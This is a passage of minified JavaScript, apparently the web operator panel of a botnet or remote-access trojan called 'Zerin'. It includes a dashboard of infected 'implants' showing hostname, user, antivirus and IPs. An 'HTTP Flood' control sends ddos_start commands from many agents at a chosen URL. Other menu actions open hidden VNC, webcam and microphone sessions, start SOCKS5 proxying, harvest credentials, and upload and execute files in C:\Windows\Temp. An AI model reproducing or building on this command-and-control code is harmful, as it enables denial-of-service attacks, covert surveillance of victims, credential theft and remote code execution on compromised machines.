t=="function"&&t(C),z(C),A(C),C!=null&&(j.current=C)},[_,t,z,A]),R=m.useCallback(C=>{N(V3(C)),N(kn({handler:s,reactEvent:C}))},[N,s]),M=m.useCallback(C=>{N(kh(C)),N(kn({handler:u,reactEvent:C}))},[N,u]),W=m.useCallback(C=>{N(zz()),N(kn({handler:d,reactEvent:C}))},[N,d]),$=m.useCallback(C=>{N(kh(C)),N(kn({handler:f,reactEvent:C}))},[N,f]),U=m.useCallback(()=>{N(X3())},[N]),B=m.useCallback(C=>{N(G3(C.key))},[N]),K=m.useCallback(C=>{N(kn({handler:o,reactEvent:C}))},[N,o]),Z=m.useCallback(C=>{N(kn({handler:l,reactEvent:C}))},[N,l]),le=m.useCallback(C=>{N(kn({handler:c,reactEvent:C}))},[N,c]),de=m.useCallback(C=>{N(kn({handler:p,reactEvent:C}))},[N,p]),we=m.useCallback(C=>{N(kn({handler:g,reactEvent:C}))},[N,g]),ye=m.useCallback(C=>{w&&N(Q3(C)),N(kn({handler:x,reactEvent:C}))},[N,w,x]),G=m.useCallback(C=>{N(kn({handler:h,reactEvent:C}))},[N,h]),te=pU(b);return m.createElement(Yz.Provider,{value:k},m.createElement(_A.Provider,{value:S},m.createElement(te,{width:P??(y==null?void 0:y.width),height:D??(y==null?void 0:y.height),className:Qe("recharts-wrapper",r),style:aU({position:"relative",cursor:"default",width:P,height:D},y),onClick:R,onContextMenu:K,onDoubleClick:Z,onFocus:U,onKeyDown:B,onMouseDown:le,onMouseEnter:M,onMouseLeave:W,onMouseMove:$,onMouseUp:de,onTouchEnd:G,onTouchMove:ye,onTouchStart:we,ref:V},m.createElement(cU,null),n)))}),xU=["width","height","responsive","children","className","style","compact","title","desc"];function vU(e,t){if(e==null)return{};var n,r,i=gU(e,t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(e);for(r=0;r{var{width:n,height:r,responsive:i,children:s,className:o,style:l,compact:c,title:u,desc:d}=e,f=vU(e,xU),p=Mr(f);return c?m.createElement(m.Fragment,null,m.createElement(cl,{width:n,height:r}),m.createElement(O2,{otherAttributes:p,title:u,desc:d},s)):m.createElement(hU,{className:o,style:l,width:n,height:r,responsive:i??!1,onClick:e.onClick,onMouseLeave:e.onMouseLeave,onMouseEnter:e.onMouseEnter,onMouseMove:e.onMouseMove,onMouseDown:e.onMouseDown,onMouseUp:e.onMouseUp,onContextMenu:e.onContextMenu,onDoubleClick:e.onDoubleClick,onTouchStart:e.onTouchStart,onTouchMove:e.onTouchMove,onTouchEnd:e.onTouchEnd},m.createElement(O2,{otherAttributes:p,title:u,desc:d,ref:t},m.createElement(RF,null,s)))});function zh(){return zh=Object.assign?Object.assign.bind():function(e){for(var t=1;t{t(HW(e))},[t,e]),null}var NU=["layout"];function Sh(){return Sh=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var n=gn(e,OU);return m.createElement(CU,{chartName:"PieChart",defaultTooltipEventType:"item",validateTooltipEventTypes:AU,tooltipPayloadSearcher:Gz,categoricalChartProps:n,ref:t})}),MU=["axis"],LU=m.forwardRef((e,t)=>m.createElement(wU,{chartName:"AreaChart",defaultTooltipEventType:"axis",validateTooltipEventTypes:MU,tooltipPayloadSearcher:Gz,categoricalChartProps:e,ref:t}));function IU({agents:e}){const t=m.useMemo(()=>{const i=Date.now(),s=24*60*60*1e3,o=24,l=s/o,c=[];for(let u=0;unew Date(x.first_seen).getTime()<=d+l).length;c.push({time:p,count:h})}return c},[e]),n=m.useMemo(()=>{const i=e.filter(l=>l.status==="alive").length,s=e.filter(l=>l.status==="stale").length,o=e.filter(l=>l.status==="dead").length;return[{name:"Alive",value:i,color:"#06B6D4"},{name:"Stale",value:s,color:"#71717A"},{name:"Dead",value:o,color:"#3F3F46"}].filter(l=>l.value>0)},[e]),r=m.useId().replace(/:/g,"_")+"_agentFill";return e.length===0?null:a.jsxs("div",{className:"grid grid-cols-1 sm:grid-cols-2 gap-3 mb-6",children:[a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[a.jsx("p",{className:"text-[10px] font-medium text-zerin-text-muted uppercase tracking-wider mb-3",children:"Agent Count (24h)"}),a.jsx("div",{style:{height:100},children:a.jsx(Fy,{width:"100%",height:"100%",children:a.jsxs(LU,{data:t,margin:{top:0,right:0,bottom:0,left:0},children:[a.jsx("defs",{children:a.jsxs("linearGradient",{id:r,x1:"0",y1:"0",x2:"0",y2:"1",children:[a.jsx("stop",{offset:"0%",stopColor:"#06B6D4",stopOpacity:.2}),a.jsx("stop",{offset:"100%",stopColor:"#06B6D4",stopOpacity:0})]})}),a.jsx(Fb,{contentStyle:{background:"#111113",border:"1px solid #1F1F23",borderRadius:0,fontSize:11,color:"#FAFAFA"},labelStyle:{color:"#71717A"}}),a.jsx(U3,{type:"monotone",dataKey:"count",stroke:"#06B6D4",strokeWidth:1.5,fill:`url(#${r})`,dot:!1,activeDot:{r:3,fill:"#06B6D4",stroke:"#09090B",strokeWidth:2}})]})})})]}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[a.jsx("p",{className:"text-[10px] font-medium text-zerin-text-muted uppercase tracking-wider mb-3",children:"Status Breakdown"}),a.jsxs("div",{className:"flex items-center gap-4",children:[a.jsx("div",{style:{width:100,height:100},children:a.jsx(Fy,{width:"100%",height:"100%",children:a.jsxs(TU,{children:[a.jsx(S3,{data:n,cx:"50%",cy:"50%",innerRadius:30,outerRadius:45,paddingAngle:2,dataKey:"value",stroke:"none",children:n.map((i,s)=>a.jsx(ff,{fill:i.color},s))}),a.jsx(Fb,{contentStyle:{background:"#111113",border:"1px solid #1F1F23",borderRadius:0,fontSize:11,color:"#FAFAFA"}})]})})}),a.jsx("div",{className:"space-y-2",children:n.map(i=>a.jsxs("div",{className:"flex items-center gap-2 text-xs",children:[a.jsx("span",{className:"w-2 h-2 rounded-full",style:{backgroundColor:i.color}}),a.jsx("span",{className:"text-zerin-text-dim",children:i.name}),a.jsx("span",{className:"text-zerin-text font-mono font-medium",children:i.value})]},i.name))})]})]})]})}function DU({tags:e,onChange:t,readOnly:n=!1}){const[r,i]=m.useState(""),[s,o]=m.useState(!1),l=m.useRef(null),c=m.useCallback(()=>{const f=r.trim().toLowerCase();if(!f||e.includes(f)){i("");return}t([...e,f]),i(""),o(!1)},[r,e,t]),u=m.useCallback(f=>{t(e.filter(p=>p!==f))},[e,t]),d=f=>{f.key==="Enter"&&(f.preventDefault(),c()),f.key==="Escape"&&(o(!1),i(""))};return a.jsxs("div",{className:"flex flex-wrap items-center gap-1.5",children:[e.map(f=>a.jsxs("span",{className:`inline-flex items-center gap-1 px-2 py-0.5 text-xs font-medium\r + bg-zerin-panel-hover text-zerin-text-dim border border-zerin-panel-border`,children:[f,!n&&a.jsx("button",{onClick:()=>u(f),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors ml-0.5",children:a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]},f)),!n&&a.jsx(a.Fragment,{children:s?a.jsx("input",{ref:l,type:"text",value:r,onChange:f=>i(f.target.value),onKeyDown:d,onBlur:()=>{r.trim()?c():o(!1)},autoFocus:!0,placeholder:"tag name",className:`w-20 bg-zerin-bg border border-zerin-panel-border px-1.5 py-0.5\r + text-xs text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 transition-all`}):a.jsxs("button",{onClick:()=>{o(!0),setTimeout(()=>{var f;return(f=l.current)==null?void 0:f.focus()},50)},className:`inline-flex items-center gap-0.5 px-1.5 py-0.5 text-xs\r + text-zerin-text-muted hover:text-zerin-accent\r + border border-dashed border-zerin-panel-border hover:border-zerin-accent/40\r + transition-colors`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 4v16m8-8H4"})}),"tag"]})})]})}const RU=["GET","POST","HEAD"],$U=[{label:"30s",value:30},{label:"60s",value:60},{label:"5m",value:300},{label:"10m",value:600}];function aS({agentIds:e,agentStatus:t}){const[n,r]=m.useState(""),[i,s]=m.useState(60),[o,l]=m.useState(10),[c,u]=m.useState("GET"),[d,f]=m.useState(!1),[p,h]=m.useState(null),[x,g]=m.useState(!1),[y,v]=m.useState([]),b=t==="dead",w=e.length,j=(z,S)=>{h({text:z,type:S}),setTimeout(()=>h(null),5e3)},N=async()=>{if(!n.trim()){j("Target URL is required","err");return}f(!0),v([]);try{const S=(await Promise.allSettled(e.map(_=>Me(_,{command:"ddos_start",args:[n.trim(),String(i),String(o),c]})))).map((_,O)=>({agentId:e[O],ok:_.status==="fulfilled",error:_.status==="rejected"?_.reason instanceof Error?_.reason.message:"Failed":void 0}));v(S);const A=S.filter(_=>_.ok).length;g(A>0),A===w?j(`Flood started on ${w} agent${w!==1?"s":""}: ${c} ${n} | ${o} threads | ${i}s`,"ok"):j(`Started on ${A}/${w} agents (${w-A} failed)`,A>0?"ok":"err")}catch(z){j(z instanceof Error?z.message:"Failed to start","err")}finally{f(!1)}},k=async()=>{f(!0),v([]);try{const S=(await Promise.allSettled(e.map(_=>Me(_,{command:"ddos_stop"})))).map((_,O)=>({agentId:e[O],ok:_.status==="fulfilled",error:_.status==="rejected"?_.reason instanceof Error?_.reason.message:"Failed":void 0}));v(S),g(!1);const A=S.filter(_=>_.ok).length;j(`Stop sent to ${A}/${w} agent${w!==1?"s":""}`,"ok")}catch(z){j(z instanceof Error?z.message:"Failed to stop","err")}finally{f(!1)}};return a.jsx("div",{className:"p-6 animate-fade-in",children:a.jsxs("div",{className:"max-w-2xl mx-auto space-y-6",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("div",{className:"w-8 h-8 bg-red-500/10 flex items-center justify-center",children:a.jsx("svg",{className:"w-4 h-4 text-red-400",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})})}),a.jsxs("div",{children:[a.jsx("h2",{className:"text-sm font-semibold text-zerin-text",children:"HTTP Flood"}),a.jsxs("p",{className:"text-xs text-zerin-text-muted",children:["Layer 7 HTTP flood attack",w>1&&a.jsxs("span",{className:"ml-1 text-zerin-accent font-medium",children:["(",w," agents)"]})]})]}),x&&a.jsxs("span",{className:"ml-auto flex items-center gap-1.5 text-xs font-medium text-red-400",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-red-400 animate-pulse"}),"ACTIVE"]})]}),p&&a.jsx("div",{className:`px-3 py-2 text-xs font-mono ${p.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:p.text}),y.length>1&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border p-3 space-y-1 max-h-32 overflow-y-auto",children:y.map(z=>a.jsxs("div",{className:"flex items-center gap-2 text-xs font-mono",children:[a.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${z.ok?"bg-emerald-400":"bg-red-400"}`}),a.jsx("span",{className:"text-zerin-text-dim",children:z.agentId.slice(0,8)}),a.jsx("span",{className:z.ok?"text-emerald-400":"text-red-400",children:z.ok?"OK":z.error})]},z.agentId))}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:a.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Configuration"})}),a.jsxs("div",{className:"p-4 space-y-4",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Target URL"}),a.jsx("input",{type:"text",value:n,onChange:z=>r(z.target.value),placeholder:"https://example.com",disabled:b||x,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Method"}),a.jsx("div",{className:"flex gap-2",children:RU.map(z=>a.jsx("button",{onClick:()=>u(z),disabled:b||x,className:`px-4 py-1.5 text-xs font-mono font-medium transition-colors + disabled:opacity-40 disabled:cursor-not-allowed ${c===z?"bg-zerin-accent/15 text-zerin-accent border border-zerin-accent/40":"bg-zerin-bg text-zerin-text-dim border border-zerin-panel-border hover:border-zerin-panel-border-hover"}`,children:z},z))})]}),a.jsxs("div",{children:[a.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Duration: ",a.jsxs("span",{className:"text-zerin-text font-mono",children:[i,"s"]})]}),a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("input",{type:"range",min:10,max:3600,step:10,value:i,onChange:z=>s(Number(z.target.value)),disabled:b||x,className:"flex-1 accent-zerin-accent disabled:opacity-40"}),a.jsx("div",{className:"flex gap-1.5",children:$U.map(z=>a.jsx("button",{onClick:()=>s(z.value),disabled:b||x,className:`px-2 py-1 text-[10px] font-mono transition-colors + disabled:opacity-40 disabled:cursor-not-allowed ${i===z.value?"bg-zerin-accent/15 text-zerin-accent":"bg-zerin-bg text-zerin-text-dim hover:text-zerin-text border border-zerin-panel-border"}`,children:z.label},z.value))})]})]}),a.jsxs("div",{children:[a.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Threads: ",a.jsx("span",{className:"text-zerin-text font-mono",children:o})]}),a.jsx("input",{type:"range",min:1,max:64,value:o,onChange:z=>l(Number(z.target.value)),disabled:b||x,className:"w-full accent-zerin-accent disabled:opacity-40"}),a.jsxs("div",{className:"flex justify-between text-[10px] text-zerin-text-muted font-mono mt-1",children:[a.jsx("span",{children:"1"}),a.jsx("span",{children:"16"}),a.jsx("span",{children:"32"}),a.jsx("span",{children:"48"}),a.jsx("span",{children:"64"})]})]})]})]}),a.jsx("div",{className:"flex gap-3",children:x?a.jsxs("button",{onClick:k,disabled:d,className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-zinc-600 hover:bg-zinc-700\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}),"Stop Flood",w>1?` (${w})`:""]}):a.jsxs("button",{onClick:N,disabled:b||d||!n.trim(),className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-red-500 hover:bg-red-600\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),"Start Flood",w>1?` (${w})`:""]})})]})})}const I2={alive:0,stale:1,dead:2};function BU(e,t,n){let r=0;switch(n.column){case"status":r=(I2[e.status]??3)-(I2[t.status]??3);break;case"hostname":r=e.hostname.localeCompare(t.hostname);break;case"username":r=e.username.localeCompare(t.username);break;case"os":r=Lo(e.os).localeCompare(Lo(t.os));break;case"arch":r=e.arch.localeCompare(t.arch);break;case"av":r=(e.av_product??"").localeCompare(t.av_product??"");break;case"internal_ip":r=e.internal_ip.localeCompare(t.internal_ip);break;case"external_ip":r=e.external_ip.localeCompare(t.external_ip);break;case"pid":r=e.pid-t.pid;break;case"last_seen":r=new Date(e.last_seen).getTime()-new Date(t.last_seen).getTime();break}return n.direction==="asc"?r:-r}const FU=[{key:"status",label:"Status",className:"w-[80px]"},{key:"hostname",label:"Hostname"},{key:"username",label:"Username"},{key:"os",label:"OS"},{key:"arch",label:"Arch",className:"w-[80px]"},{key:"av",label:"AV"},{key:"internal_ip",label:"Internal IP",mono:!0},{key:"external_ip",label:"External IP",mono:!0},{key:"pid",label:"PID",mono:!0,className:"w-[80px]"},{key:"last_seen",label:"Last Seen"}];function WU(){const e=hr(),[t,n]=m.useState([]),[r,i]=m.useState(!0),[s,o]=m.useState(""),[l,c]=m.useState("all"),[u,d]=m.useState({column:"last_seen",direction:"desc"}),[f,p]=m.useState("online"),[h,x]=m.useState({x:0,y:0,visible:!1}),[g,y]=m.useState(null),[v,b]=m.useState(null),[w,j]=m.useState(null),[N,k]=m.useState(null),[z,S]=m.useState(null),[A,_]=m.useState("Zerin"),[O,P]=m.useState(""),[D,V]=m.useState(new Set),[R,M]=m.useState(!1),[W,$]=m.useState(!1),[U,B]=m.useState(""),[K,Z]=m.useState(""),[le,de]=m.useState(!1),[we,ye]=m.useState(null),G=m.useRef(null),te=m.useRef(null),C=m.useRef(null),Y=m.useCallback(async()=>{try{const E=await N5();n(E),o("")}catch{o("Failed to fetch agents")}finally{i(!1)}},[]);m.useEffect(()=>{Y()},[Y]);const{lastMessage:re}=m.useContext(vd);m.useEffect(()=>{if(re&&re.type==="agent_update"){const E=re.payload;n(ce=>{const ee=ce.findIndex(xe=>xe.id===E.id);if(ee>=0){const xe=[...ce];return xe[ee]=E,xe}return[E,...ce]}),b(ce=>ce&&ce.id===E.id?E:ce)}},[re]),m.useEffect(()=>{const E=setInterval(Y,15e3);return()=>clearInterval(E)},[Y]),m.useEffect(()=>()=>{G.current&&clearTimeout(G.current)},[]);const F={total:t.length,alive:t.filter(E=>E.status==="alive").length,stale:t.filter(E=>E.status==="stale").length,dead:t.filter(E=>E.status==="dead").length},se=f==="online"?t.filter(E=>E.status==="alive"||E.status==="stale"):t.filter(E=>E.status==="dead"),ke=[...l==="all"?se:se.filter(E=>E.status===l)].sort((E,ce)=>BU(E,ce,u)),Ae=t.filter(E=>E.status==="alive"||E.status==="stale").length,I=t.filter(E=>E.status==="dead").length;function fe(E){d(ce=>({column:E,direction:ce.column===E&&ce.direction==="asc"?"desc":"asc"}))}function q(E){c(ce=>ce===E&&E!=="all"?"all":E)}function ne(E){if(G.current){clearTimeout(G.current),G.current=null,e(`/agents/${E.id}`);return}G.current=setTimeout(()=>{G.current=null,b(E)},250)}function ve(E,ce){E.preventDefault(),y(ce),x({x:E.clientX,y:E.clientY,visible:!0})}function H(E,ce){var X;if(!g)return;const ee=g.id,xe=g.hostname,Ne=ce==null?void 0:ce.action,ze=ce==null?void 0:ce.tab;if(x(ie=>({...ie,visible:!1})),y(null),Ne==="chat"){j(g);return}if(Ne==="confirm"){k({command:E,agentId:ee,hostname:xe});return}if(Ne==="msgbox"){S({agentId:ee,hostname:xe}),_("Zerin"),P("");return}if(Ne==="vnc"){Px(ee).then(()=>{const ie=st(),oe=window.open(`/vnc/${ee}`,`vnc-${ee}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(oe&&ie){const Oe=et=>{var T;((T=et.data)==null?void 0:T.type)==="zerin_auth_request"&&et.origin===window.location.origin&&(oe.postMessage({type:"zerin_auth",token:ie},window.location.origin),window.removeEventListener("message",Oe))};window.addEventListener("message",Oe)}}).catch(()=>o("Failed to start VNC"));return}if(Ne==="hvnc"){z5(ee).then(()=>{const ie=st(),oe=window.open(`/vnc/${ee}?mode=hvnc`,`hvnc-${ee}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(oe&&ie){const Oe=et=>{var T;((T=et.data)==null?void 0:T.type)==="zerin_auth_request"&&et.origin===window.location.origin&&(oe.postMessage({type:"zerin_auth",token:ie},window.location.origin),window.removeEventListener("message",Oe))};window.addEventListener("message",Oe)}}).catch(()=>o("Failed to start hVNC"));return}if(Ne==="webcam"){S5(ee).then(()=>{const ie=st(),oe=window.open(`/webcam/${ee}`,`webcam-${ee}`,"width=800,height=650,menubar=no,toolbar=no,location=no,status=no");if(oe&&ie){const Oe=et=>{var T;((T=et.data)==null?void 0:T.type)==="zerin_auth_request"&&et.origin===window.location.origin&&(oe.postMessage({type:"zerin_auth",token:ie},window.location.origin),window.removeEventListener("message",Oe))};window.addEventListener("message",Oe)}}).catch(()=>o("Failed to start webcam"));return}if(Ne==="mic"){C5(ee).then(()=>{const ie=st(),oe=window.open(`/mic/${ee}`,`mic-${ee}`,"width=500,height=400,menubar=no,toolbar=no,location=no,status=no");if(oe&&ie){const Oe=et=>{var T;((T=et.data)==null?void 0:T.type)==="zerin_auth_request"&&et.origin===window.location.origin&&(oe.postMessage({type:"zerin_auth",token:ie},window.location.origin),window.removeEventListener("message",Oe))};window.addEventListener("message",Oe)}}).catch(()=>o("Failed to start microphone"));return}if(Ne==="socks5"){P5(ee).then(ie=>{alert(`SOCKS5 proxy started on ${ie.bind}:${ie.port} + +Use: ssh -L ${ie.port}:127.0.0.1:${ie.port} root@`)}).catch(()=>alert("Failed to start SOCKS5 proxy"));return}if(Ne==="execute_upload"){C.current=ee,(X=te.current)==null||X.click();return}if(Ne==="ban"){const ie=t.find(T=>T.id===ee),oe=ie==null?void 0:ie.banned,Oe=oe?`Unban agent ${xe} (${ee.slice(0,8)})? It will be allowed to check in again.`:`Ban agent ${xe} (${ee.slice(0,8)})? It will be rejected on future check-ins.`;if(!confirm(Oe))return;(oe?ZE:XE)(ee).then(()=>{n(T=>T.map(ae=>ae.id===ee?{...ae,banned:!oe}:ae))}).catch(()=>o(`Failed to ${oe?"unban":"ban"} agent`));return}if(Ne==="remove"){if(!confirm(`Remove agent ${xe} (${ee.slice(0,8)})? This cannot be undone.`))return;k5(ee).then(()=>{n(ie=>ie.filter(oe=>oe.id!==ee))}).catch(()=>o("Failed to remove agent"));return}(Ne==="submit"||Ne==="screenshot")&&E!=="creds"&&Me(ee,{command:E}).catch(ie=>{o(`Failed to submit task: ${ie instanceof Error?ie.message:"unknown error"}`)}),ze&&e(`/agents/${ee}?tab=${ze}${E==="creds"?"&auto=1":""}`)}function Q(){x(E=>({...E,visible:!1})),y(null)}async function he(E){var ze,X,ie;const ce=(ze=E.target.files)==null?void 0:ze[0];if(E.target.value="",!ce||!C.current)return;const ee=C.current;C.current=null;const xe=ce.name,Ne=`C:\\Windows\\Temp\\${xe}`;try{const oe=await ce.arrayBuffer(),Oe=Array.from(new Uint8Array(oe)),{task_id:et}=await Me(ee,{command:"upload",args:[Ne],data:Oe});let T=!1;for(let ue=0;ue<30;ue++){await new Promise(Lt=>setTimeout(Lt,2e3));const Ct=(X=(await Xn(ee)).results)==null?void 0:X.find(Lt=>Lt.task_id===et);if(Ct){if(Ct.error)throw new Error(Ct.error);T=!0;break}}if(!T)throw new Error("Upload timed out");const{task_id:ae}=await Me(ee,{command:"execute",args:[Ne]});for(let ue=0;ue<30;ue++){await new Promise(Lt=>setTimeout(Lt,2e3));const Ct=(ie=(await Xn(ee)).results)==null?void 0:ie.find(Lt=>Lt.task_id===ae);if(Ct){if(Ct.error)throw new Error(Ct.error);alert(`Executed ${xe} on agent`);return}}alert(`File uploaded & execute command sent (${xe})`)}catch(oe){o(`Execute file failed: ${oe instanceof Error?oe.message:"unknown error"}`)}}return a.jsxs("div",{className:"p-6 min-h-[calc(100vh+100px)]",children:[a.jsx("input",{ref:te,type:"file",className:"hidden",onChange:he}),a.jsxs("div",{className:"mb-6",children:[a.jsx("h1",{className:"font-display text-2xl font-bold text-zerin-text tracking-wide",children:"Dashboard"}),a.jsx("p",{className:"text-zerin-text-muted text-sm mt-1",children:"Active implant overview"})]}),a.jsxs("div",{className:"grid grid-cols-2 sm:grid-cols-4 gap-3 mb-4",children:[a.jsx(rc,{label:"Total",value:F.total,active:l==="all",onClick:()=>q("all")}),a.jsx(rc,{label:"Alive",value:F.alive,active:l==="alive",onClick:()=>q("alive")}),a.jsx(rc,{label:"Stale",value:F.stale,active:l==="stale",onClick:()=>q("stale")}),a.jsx(rc,{label:"Dead",value:F.dead,active:l==="dead",onClick:()=>q("dead")})]}),a.jsx(IU,{agents:t}),a.jsxs("div",{className:"flex items-center justify-between mb-4",children:[a.jsxs("div",{className:"flex items-center border-b border-zerin-panel-border",children:[a.jsxs("button",{onClick:()=>{p("online"),c("all")},className:`relative px-4 py-2.5 text-sm font-medium tracking-wide transition-colors ${f==="online"?"text-zerin-text":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:[a.jsxs("span",{className:"flex items-center gap-2",children:[a.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${f==="online"?"bg-zerin-accent animate-pulse-dot":"bg-zerin-text-muted/40"}`}),"Online",a.jsx("span",{className:`text-xs tabular-nums px-1.5 py-0.5 rounded ${f==="online"?"bg-zerin-accent/15 text-zerin-accent":"bg-zinc-800 text-zerin-text-muted"}`,children:Ae})]}),f==="online"&&a.jsx("span",{className:"absolute bottom-0 left-0 right-0 h-[2px] bg-zerin-accent"})]}),a.jsxs("button",{onClick:()=>{p("offline"),c("all")},className:`relative px-4 py-2.5 text-sm font-medium tracking-wide transition-colors ${f==="offline"?"text-zerin-text":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:[a.jsxs("span",{className:"flex items-center gap-2",children:[a.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${f==="offline"?"bg-zinc-500":"bg-zerin-text-muted/40"}`}),"Offline",a.jsx("span",{className:`text-xs tabular-nums px-1.5 py-0.5 rounded ${f==="offline"?"bg-zinc-500/15 text-zinc-400":"bg-zinc-800 text-zerin-text-muted"}`,children:I})]}),f==="offline"&&a.jsx("span",{className:"absolute bottom-0 left-0 right-0 h-[2px] bg-zinc-500"})]})]}),f==="offline"&&I>0&&a.jsx("button",{onClick:async()=>{if(!confirm(`Remove all ${I} dead agent(s)? This cannot be undone.`))return;const E=t.filter(ce=>ce.status==="dead").map(ce=>ce.id);try{await GE(E),n(ce=>ce.filter(ee=>ee.status!=="dead"))}catch{o("Failed to clear dead agents")}},className:"px-3 py-1.5 text-xs font-medium rounded bg-red-500/10 text-red-400/80 hover:bg-red-500/20 hover:text-red-400 border border-red-500/20 transition-colors",children:"Clear All"})]}),r?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"text-center",children:[a.jsxs("svg",{className:"animate-spin h-8 w-8 text-zerin-accent mx-auto mb-3",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),a.jsx("p",{className:"text-zerin-text-dim text-sm",children:"Loading agents..."})]})}):s?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-8 text-center max-w-sm",children:[a.jsx("div",{className:"inline-flex items-center justify-center h-10 w-10 bg-zerin-danger-dim mb-4",children:a.jsx("svg",{className:"h-5 w-5 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),a.jsx("p",{className:"text-zerin-text font-display font-semibold mb-1",children:"Connection Error"}),a.jsx("p",{className:"text-zerin-text-muted text-sm mb-4",children:s}),a.jsxs("button",{onClick:Y,className:"inline-flex items-center gap-2 bg-zerin-accent px-4 py-2 text-sm font-medium text-white transition-colors hover:bg-zerin-accent-hover",children:[a.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Retry"]})]})}):ke.length===0?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"inline-flex items-center justify-center h-12 w-12 bg-zerin-panel-hover mb-4",children:a.jsx("svg",{className:"h-6 w-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9.75 17L9 20l-1 1h8l-1-1-.75-3M3 13h18M5 17h14a2 2 0 002-2V5a2 2 0 00-2-2H5a2 2 0 00-2 2v10a2 2 0 002 2z"})})}),t.length===0?a.jsxs(a.Fragment,{children:[a.jsx("p",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:"No agents connected"}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Waiting for the first agent check-in."})]}):a.jsxs(a.Fragment,{children:[a.jsxs("p",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:["No ",f," agents"]}),a.jsxs("p",{className:"text-zerin-text-muted text-sm",children:[f==="online"?"No alive or stale agents.":"No dead agents — all agents are online.",l!=="all"&&a.jsx("button",{onClick:()=>c("all"),className:"ml-1 text-zerin-accent hover:text-zerin-accent-hover transition-colors underline 